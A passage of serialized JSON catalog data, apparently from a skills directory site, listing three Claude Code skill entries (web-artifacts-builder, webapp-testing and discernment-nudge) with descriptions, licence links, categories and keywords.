guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access",{"skillNo":167,"name":168,"nameZh":6,"description":169,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":170,"licenseFileUrl":171,"sourceHtmlUrl":172,"categories":173,"keywords":177,"publishedAt":56},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[174],{"categoryNo":175,"categoryName":176,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,42,200],"artifacts builder","web","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","html","single-file","ui components",{"skillNo":202,"name":203,"nameZh":6,"description":204,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":170,"licenseFileUrl":205,"sourceHtmlUrl":206,"categories":207,"keywords":210,"publishedAt":56},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[208,209],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":175,"categoryName":176,"taxonomyType":21,"taxonomyTypeDesc":22},[211,39,212,213,214,179,215,188,189,216,217,218,219,42,220,106,221],"webapp testing","webapp","browser","playwright","applications","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":223,"name":224,"nameZh":6,"description":225,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":170,"licenseFileUrl":226,"sourceHtmlUrl":227,"categories":228,"keywords":236,"publishedAt":56},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[229,232,233],{"categoryNo":230,"categoryName":231,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":234,"categoryName":235,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000036","内容创作者",[237,238,239,240,241,242,243,244,181,245,191,134,246,247,248,249,250,163,251,41,252,253,254,255,256,112,257],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","content","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]